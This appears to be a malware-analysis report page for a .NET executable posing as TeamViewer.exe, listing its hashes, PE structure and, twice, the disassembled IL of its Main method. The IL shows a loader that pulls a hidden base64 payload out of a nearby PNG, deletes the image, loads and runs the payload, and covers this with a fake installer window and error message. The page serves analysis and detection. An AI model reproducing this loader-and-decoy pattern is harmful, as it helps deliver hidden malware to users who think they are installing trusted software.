Suspicious
Suspect

03b67883f056e02070ae7395d63ec9e6

PE Executable
|
MD5: 03b67883f056e02070ae7395d63ec9e6
|
Size: 10.75 KB
|
application/x-dosexec

Print
Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
 Hash Value
MD5
03b67883f056e02070ae7395d63ec9e6
Sha1
b89acc207b28d0eca84ec09ce049d84e9f506f39
Sha256
44261ef39ce824e577cfcb35cd12962e59f48e6150a4fa4a7902e68c6ef01f7c
Sha384
977bbf8189232fb11e0516edee07c3ebf2ae196e8089f5b8f1d290313e13811f129d7ed3f0ea6bb806061230f7150a10
Sha512
110f3af899a933906d2ab2e57dff245d8693c414b15849c84df41c93645182401df6da243ba58f042c75c1b675800d2631503f4f1c1b80d6ed832edbe63a1dd7
SSDeep
96:kUWIzlAQeccr1Gx6AL6ped1V+0XaA1xg71RZWz8tvYcxENCqOR2XFgd43WNtZ:HzzTeW1LXd1V+Ic1Tk81Yc2ORKqd48
TLSH
6F22F915B7D48236E9FB6F35BC72604007B5BA16AC23DB2E6EC0915F5D633108D72BA1

PeID

.NET executable
Microsoft Visual C# / Basic .NET
Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
Microsoft Visual C# v7.0 / Basic .NET
Microsoft Visual Studio .NET
File Structure
03b67883f056e02070ae7395d63ec9e6
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
ConsoleApp1.Properties.Resources.resources
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\Users\Work\source\repos\test2025\ConsoleApp1\obj\Debug\TeamViewer.pdb
Module Name

TeamViewer.exe
Full Name

TeamViewer.exe
EntryPoint

System.Void zatknissuka::Main()
Scope Name

TeamViewer.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

TeamViewer
Assembly Version

3.1.122.9
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8.1
Total Strings

14
Main Method

System.Void zatknissuka::Main()
Main IL Instruction Count

171
Main IL

newobj System.Void zatknissuka/<>c__DisplayClass0_0::.ctor() stloc.0 <null> nop <null> call System.AppDomain System.AppDomain::get_CurrentDomain() callvirt System.String System.AppDomain::get_BaseDirectory() stloc.1 <null> ldloc.1 <null> ldstr *.png call System.String[] System.IO.Directory::GetFiles(System.String,System.String) ldc.i4.0 <null> ldelem.ref <null> stloc.2 <null> ldloc.2 <null> call System.Byte[] zatknissuka::ExtractDataFromImage(System.String) stloc.3 <null> ldloc.2 <null> call System.Void zatknissuka::DeleteImageFile(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldloc.3 <null> callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_4 ldloc.s V_4 ldstr ConsoleApp2.Program callvirt System.Type System.Reflection.Assembly::GetType(System.String) stloc.s V_5 ldloc.0 <null> ldloc.s V_5 ldstr Main callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String) stfld System.Reflection.MethodInfo zatknissuka/<>c__DisplayClass0_0::method ldloc.0 <null> newobj System.Void System.Windows.Forms.Form::.ctor() dup <null> ldstr Installing callvirt System.Void System.Windows.Forms.Control::set_Text(System.String) nop <null> dup <null> ldc.i4 400 ldc.i4 150 newobj System.Void System.Drawing.Size::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Form::set_Size(System.Drawing.Size) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Windows.Forms.Form::set_StartPosition(System.Windows.Forms.FormStartPosition) nop <null> dup <null> ldc.i4.3 <null> callvirt System.Void System.Windows.Forms.Form::set_FormBorderStyle(System.Windows.Forms.FormBorderStyle) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_MaximizeBox(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_MinimizeBox(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_ControlBox(System.Boolean) nop <null> stfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldc.i4.0 <null> stfld System.Boolean zatknissuka/<>c__DisplayClass0_0::allowClose ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__0(System.Object,System.Windows.Forms.FormClosingEventArgs) newobj System.Void System.Windows.Forms.FormClosingEventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Form::add_FormClosing(System.Windows.Forms.FormClosingEventHandler) nop <null> newobj System.Void System.Windows.Forms.Label::.ctor() dup <null> ldstr Loading.... callvirt System.Void System.Windows.Forms.Control::set_Text(System.String) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Windows.Forms.Control::set_AutoSize(System.Boolean) nop <null> dup <null> ldc.i4.s 10 ldc.i4.s 10 newobj System.Void System.Drawing.Point::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Control::set_Location(System.Drawing.Point) nop <null> stloc.s V_6 ldloc.0 <null> newobj System.Void System.Windows.Forms.ProgressBar::.ctor() dup <null> ldc.i4.s 10 ldc.i4.s 40 newobj System.Void System.Drawing.Point::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Control::set_Location(System.Drawing.Point) nop <null> dup <null> ldc.i4.s 20 callvirt System.Void System.Windows.Forms.Control::set_Height(System.Int32) nop <null> dup <null> ldc.i4.s 100 callvirt System.Void System.Windows.Forms.ProgressBar::set_Maximum(System.Int32) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.ProgressBar::set_Value(System.Int32) nop <null> stfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.Control/ControlCollection System.Windows.Forms.Control::get_Controls() ldloc.s V_6 callvirt System.Void System.Windows.Forms.Control/ControlCollection::Add(System.Windows.Forms.Control) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.Control/ControlCollection System.Windows.Forms.Control::get_Controls() ldloc.0 <null> ldfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb callvirt System.Void System.Windows.Forms.Control/ControlCollection::Add(System.Windows.Forms.Control) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Drawing.Size System.Windows.Forms.Form::get_ClientSize() stloc.s V_7 ldloca.s V_7 call System.Int32 System.Drawing.Size::get_Width() ldc.i4.s 20 sub <null> callvirt System.Void System.Windows.Forms.Control::set_Width(System.Int32) nop <null> ldloc.0 <null> newobj System.Void System.Windows.Forms.Timer::.ctor() dup <null> ldc.i4.s 122 callvirt System.Void System.Windows.Forms.Timer::set_Interval(System.Int32) nop <null> stfld System.Windows.Forms.Timer zatknissuka/<>c__DisplayClass0_0::timer ldloc.0 <null> ldc.i4.0 <null> stfld System.Int32 zatknissuka/<>c__DisplayClass0_0::prog ldloc.0 <null> ldfld System.Windows.Forms.Timer zatknissuka/<>c__DisplayClass0_0::timer ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__1(System.Object,System.EventArgs) newobj System.Void System.EventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Timer::add_Tick(System.EventHandler) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__2(System.Object,System.EventArgs) newobj System.Void System.EventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Form::add_Shown(System.EventHandler) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.DialogResult System.Windows.Forms.Form::ShowDialog() pop <null> ldstr Sorry, this program cannot be installed. ldstr Error call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String,System.String) pop <null> ret <null>
Module Name

TeamViewer.exe
Full Name

TeamViewer.exe
EntryPoint

System.Void zatknissuka::Main()
Scope Name

TeamViewer.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

TeamViewer
Assembly Version

3.1.122.9
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.8.1
Total Strings

14
Main Method

System.Void zatknissuka::Main()
Main IL Instruction Count

171
Main IL

newobj System.Void zatknissuka/<>c__DisplayClass0_0::.ctor() stloc.0 <null> nop <null> call System.AppDomain System.AppDomain::get_CurrentDomain() callvirt System.String System.AppDomain::get_BaseDirectory() stloc.1 <null> ldloc.1 <null> ldstr *.png call System.String[] System.IO.Directory::GetFiles(System.String,System.String) ldc.i4.0 <null> ldelem.ref <null> stloc.2 <null> ldloc.2 <null> call System.Byte[] zatknissuka::ExtractDataFromImage(System.String) stloc.3 <null> ldloc.2 <null> call System.Void zatknissuka::DeleteImageFile(System.String) nop <null> call System.Text.Encoding System.Text.Encoding::get_UTF8() ldloc.3 <null> callvirt System.String System.Text.Encoding::GetString(System.Byte[]) call System.Byte[] System.Convert::FromBase64String(System.String) call System.Reflection.Assembly System.Reflection.Assembly::Load(System.Byte[]) stloc.s V_4 ldloc.s V_4 ldstr ConsoleApp2.Program callvirt System.Type System.Reflection.Assembly::GetType(System.String) stloc.s V_5 ldloc.0 <null> ldloc.s V_5 ldstr Main callvirt System.Reflection.MethodInfo System.Type::GetMethod(System.String) stfld System.Reflection.MethodInfo zatknissuka/<>c__DisplayClass0_0::method ldloc.0 <null> newobj System.Void System.Windows.Forms.Form::.ctor() dup <null> ldstr Installing callvirt System.Void System.Windows.Forms.Control::set_Text(System.String) nop <null> dup <null> ldc.i4 400 ldc.i4 150 newobj System.Void System.Drawing.Size::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Form::set_Size(System.Drawing.Size) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Windows.Forms.Form::set_StartPosition(System.Windows.Forms.FormStartPosition) nop <null> dup <null> ldc.i4.3 <null> callvirt System.Void System.Windows.Forms.Form::set_FormBorderStyle(System.Windows.Forms.FormBorderStyle) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_MaximizeBox(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_MinimizeBox(System.Boolean) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.Form::set_ControlBox(System.Boolean) nop <null> stfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldc.i4.0 <null> stfld System.Boolean zatknissuka/<>c__DisplayClass0_0::allowClose ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__0(System.Object,System.Windows.Forms.FormClosingEventArgs) newobj System.Void System.Windows.Forms.FormClosingEventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Form::add_FormClosing(System.Windows.Forms.FormClosingEventHandler) nop <null> newobj System.Void System.Windows.Forms.Label::.ctor() dup <null> ldstr Loading.... callvirt System.Void System.Windows.Forms.Control::set_Text(System.String) nop <null> dup <null> ldc.i4.1 <null> callvirt System.Void System.Windows.Forms.Control::set_AutoSize(System.Boolean) nop <null> dup <null> ldc.i4.s 10 ldc.i4.s 10 newobj System.Void System.Drawing.Point::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Control::set_Location(System.Drawing.Point) nop <null> stloc.s V_6 ldloc.0 <null> newobj System.Void System.Windows.Forms.ProgressBar::.ctor() dup <null> ldc.i4.s 10 ldc.i4.s 40 newobj System.Void System.Drawing.Point::.ctor(System.Int32,System.Int32) callvirt System.Void System.Windows.Forms.Control::set_Location(System.Drawing.Point) nop <null> dup <null> ldc.i4.s 20 callvirt System.Void System.Windows.Forms.Control::set_Height(System.Int32) nop <null> dup <null> ldc.i4.s 100 callvirt System.Void System.Windows.Forms.ProgressBar::set_Maximum(System.Int32) nop <null> dup <null> ldc.i4.0 <null> callvirt System.Void System.Windows.Forms.ProgressBar::set_Value(System.Int32) nop <null> stfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.Control/ControlCollection System.Windows.Forms.Control::get_Controls() ldloc.s V_6 callvirt System.Void System.Windows.Forms.Control/ControlCollection::Add(System.Windows.Forms.Control) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.Control/ControlCollection System.Windows.Forms.Control::get_Controls() ldloc.0 <null> ldfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb callvirt System.Void System.Windows.Forms.Control/ControlCollection::Add(System.Windows.Forms.Control) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.ProgressBar zatknissuka/<>c__DisplayClass0_0::pb ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Drawing.Size System.Windows.Forms.Form::get_ClientSize() stloc.s V_7 ldloca.s V_7 call System.Int32 System.Drawing.Size::get_Width() ldc.i4.s 20 sub <null> callvirt System.Void System.Windows.Forms.Control::set_Width(System.Int32) nop <null> ldloc.0 <null> newobj System.Void System.Windows.Forms.Timer::.ctor() dup <null> ldc.i4.s 122 callvirt System.Void System.Windows.Forms.Timer::set_Interval(System.Int32) nop <null> stfld System.Windows.Forms.Timer zatknissuka/<>c__DisplayClass0_0::timer ldloc.0 <null> ldc.i4.0 <null> stfld System.Int32 zatknissuka/<>c__DisplayClass0_0::prog ldloc.0 <null> ldfld System.Windows.Forms.Timer zatknissuka/<>c__DisplayClass0_0::timer ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__1(System.Object,System.EventArgs) newobj System.Void System.EventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Timer::add_Tick(System.EventHandler) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm ldloc.0 <null> ldftn System.Void zatknissuka/<>c__DisplayClass0_0::<Main>b__2(System.Object,System.EventArgs) newobj System.Void System.EventHandler::.ctor(System.Object,System.IntPtr) callvirt System.Void System.Windows.Forms.Form::add_Shown(System.EventHandler) nop <null> ldloc.0 <null> ldfld System.Windows.Forms.Form zatknissuka/<>c__DisplayClass0_0::loadingForm callvirt System.Windows.Forms.DialogResult System.Windows.Forms.Form::ShowDialog() pop <null> ldstr Sorry, this program cannot be installed. ldstr Error call System.Windows.Forms.DialogResult System.Windows.Forms.MessageBox::Show(System.String,System.String) pop <null> ret <null>
03b67883f056e02070ae7395d63ec9e6 (10.75 KB)
An error has occurred. This application may no longer respond until reloaded. Reload 🗙